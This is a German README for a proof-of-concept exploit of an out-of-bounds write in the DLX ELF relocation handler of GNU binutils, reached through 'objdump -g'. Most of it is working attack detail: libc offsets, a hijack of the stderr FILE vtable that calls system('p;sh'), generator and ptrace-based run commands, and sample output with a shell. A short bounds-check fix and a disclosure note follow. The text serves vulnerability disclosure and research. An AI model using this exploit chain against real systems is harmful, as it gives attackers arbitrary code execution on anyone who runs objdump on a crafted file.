
Proof of Concept (PoC) zur Demonstration von CVE-2026-18220, einer Out-of-Bounds-(OOB)-Schreibschwachstelle im DLX-ELF-Backend von GNU binutils (insbesondere ausgelöst über `objdump -g`)
Ziel: GNU Binutils (alle Versionen bis HEAD) — objdump
Umgebung: Debian 13 (Trixie), glibc 2.41, x86_64
Auswirkung: Beliebige Codeausführung
Vektor: Präparierte ELF-Datei, verarbeitet von objdump -g
ASLR: Umgangen (deterministisches mmap-Delta)
Ein großes Dankeschön an bikini für das Shoutout und seinen fairen Umgang mit dieser Entdeckung. Er ist ein toller Kerl, ich hatte das Vergnügen, mit ihm zu chatten, und er hat selbst einige großartige Entdeckungen gemacht. Schaut euch unbedingt seine Arbeit an!
bfd/elf32-dlx.cDer Relocation-Handler R_DLX_RELOC_26_PCREL (elf32_dlx_relocate26) führt einen 4-Byte-Lese-/Schreibzugriff an data + reloc_entry->address durch, ohne den Offset gegen die Section-Größe zu validieren. Da die Funktion bfd_reloc_ok zurückgibt, wird die generische Grenzprüfung in bfd/reloc.c vollständig umgangen.
// bfd/elf32-dlx.c — elf32_dlx_relocate26()
insn = bfd_get_32(abfd, data + reloc_entry->address); // OOB read
vallo = insn & 0x03FFFFFF;
if (vallo & 0x03000000)
vallo = ~(vallo | 0xFC000000) + 1; // sign-extend 26 bits
val = (sym->section->vma + sym->value) - vallo;
insn = (insn & 0xFC000000) | (val & 0x03FFFFFF);
bfd_put_32(abfd, insn, data + reloc_entry->address); // OOB write
return bfd_reloc_ok; // skips bounds check
Der Offset reloc_entry->address wird direkt aus der ELF-Datei gelesen und kann beliebig über den Section-Puffer hinaus zeigen.
Auf x86_64 werden ELF32-Offsets nullerweitert, wodurch Schreibzugriffe auf positive Offsets beschränkt werden. Eine .debug_info-Section von ≥ 128 KB zwingt malloc(), mmap() zu verwenden, wodurch der Puffer direkt neben dem Datensegment von libc platziert wird:
┌──────────────────────────────────────┐ ← same mmap region
│ .debug_info buffer (192 KB) │ data = 0x7f...d010
│ ├── fake _IO_wide_data (+0x1000) │
│ └── fake _IO_jump_t (+0x2000) │
│ ... │
│ _IO_2_1_stderr_ │ stderr = data + 0x21a4d0
│ _IO_wfile_jumps │ wfile = data + 0x218218
│ system() │ system() = data + 0x87100
└──────────────────────────────────────┘
Das Delta stderr - data = 0x21A4D0 ist über ASLR-Läufe hinweg konstant, da beide Regionen beim Laden von libc durch denselben mmap-Aufruf alloziert werden.
objdump writes to stderr ("Can't get contents for section...")
└─► _IO_wfile_overflow(stderr)
└─► _IO_wdoallocbuf(stderr)
└─► _IO_WDOALLOCATE(stderr)
= stderr->_wide_data->_wide_vtable->__doallocate(stderr)
= fake_vtable[0x68](https://github.com/4d4j/objdump-out-of-bounds-write/blob/HEAD/stderr)
= system(stderr)
= system("p;sh") ← stderr._flags[0:4] = "p;sh"
data + 0x1000 : fake _IO_wide_data
+0xE0 : _wide_vtable → data + 0x2000
data + 0x2000 : fake _IO_jump_t
+0x68 : __doallocate → system()
Der Exploit unterstützt Befehle mit 2 bis 4 Zeichen. Reloc 0 schreibt _flags[0:3], und Reloc 4 schreibt _flags[3] und löscht das Padding, wodurch system() bis zu 4 Zeichen vor dem natürlichen Nullterminator zur Verfügung stehen.
Nur die ersten beiden Bytes sind durch das FILE-Flag-Layout von glibc eingeschränkt:
cmd[2] und cmd[3] sind uneingeschränkt.
# Build binutils with DLX target support
cd binutils-gdb && mkdir build && cd build
../configure --target=dlx-elf --disable-nls --disable-werror
make -j$(nproc)
# Step 1: Generate the malicious ELF (choose your command)
python3 poc_generate.py --cmd "p;sh" -o exploit.bin
# Step 2: Run the exploit (ASLR on, standalone, no GDB)
python3 poc_ptrace.py --cmd "p;sh" # interactive shell
python3 poc_ptrace.py --cmd "p;id" # print uid/gid
python3 poc_ptrace.py # default: "ps"
Der Exploit wiederholt bei ASLR-Byte-3-Abweichungen automatisch bis zu 5 Versuche (~12 % pro Versuch) und erreicht damit eine Erfolgsrate von ~99,998 %.
[*] libc: /lib/x86_64-linux-gnu/libc.so.6
[*] cmd = 'p;sh' bytes = ['0x70', '0x3b', '0x73', '0x68']
[*] objdump_base = 0x005e61dfbf5000
[*] fn_addr = 0x005e61e06cad90 (elf32_dlx_relocate26)
[*] libc_base = 0x0075b1ed86c000
[*] stderr = 0x0075b1eda524e0
[*] system = 0x0075b1ed8bf110
[*] actual delta = 0x21a4d0 (expected 0x21a4d0)
[*] reloc0 sym->value <- 0x00f65c20 (cmd[0..2] = 'p;s')
[*] reloc4 sym->value <- 0x016d0000 (cmd[3] = 0x68)
...
[+] system() reached — command executing
$ id ← interactive shell
uid=1000(user) gid=1000(user) groups=1000(user)
[+] Done
Fügen Sie in elf32_dlx_relocate26() eine Grenzprüfung hinzu, bevor auf die Section-Daten zugegriffen wird:
if (reloc_entry->address + 4 > input_section->size)
return bfd_reloc_outofrange;
| Datei | Beschreibung |
|---|---|
poc_generate.py | Erzeugt das bösartige DLX-ELF-Payload (exploit.bin) mit 5 OOB-Relocs |
Diese Schwachstelle wurde den Maintainern von GNU Binutils gemeldet. Der Exploit-Code wird ausschließlich für autorisierte Sicherheitsforschungszwecke bereitgestellt.
https://sourceware.org/git/?p=binutils-gdb.git;a=commit;h=114e3aae2b7e34057c8909301eaf78c15687e8e5
| # | Ziel (Offset ab data) | Effekt |
|---|
| 0 | 0x21A4CF = stderr − 1 | _flags[0:3] = cmd[0..2] → Beginn des system()-Arguments |
| 1 | 0x21A4F8 = stderr + 0x28 | _IO_write_ptr ≠ 0 → erzwingt Flush → Overflow |
| 2 | 0x21A56F = stderr + 0x9F | _wide_data[0:3] → zeigt auf fake _IO_wide_data |
| 3 | 0x21A5A7 = stderr + 0xD7 | vtable[0:3] → _IO_wfile_jumps |
| 4 | 0x21A4D2 = stderr + 2 | _flags[3] = cmd[3], Padding gelöscht → Nullterminator |
| Bit | Flag | Einschränkung | Grund |
|---|
| 1 | _IO_UNBUFFERED | cmd[0] & 0x02 == 0 | andernfalls überspringt _IO_wdoallocbuf __doallocate |
| 3 | _IO_NO_WRITES | cmd[0] & 0x08 == 0 | andernfalls gibt overflow sofort WEOF zurück |
| 13 | _IO_IS_FILEBUF | cmd[1] & 0x20 != 0 | erforderlich, um den doallocate-Block zu betreten |
| Befehl | Bytes | Effekt |
|---|
"ps" | 70 73 | Prozesse auflisten |
"p;sh" | 70 3B 73 68 | interaktive Shell starten ← am nützlichsten |
"p;ls" | 70 3B 6C 73 | Verzeichnis auflisten |
"p;id" | 70 3B 69 64 | uid/gid ausgeben |
poc_ptrace.py |
| Standalone-Exploit — ptrace-basierter ASLR-Bypass, Wiederholungsschleife, kein GDB erforderlich |
exploit.bin | Vorab erzeugtes Payload (Standardbefehl "p;sh") |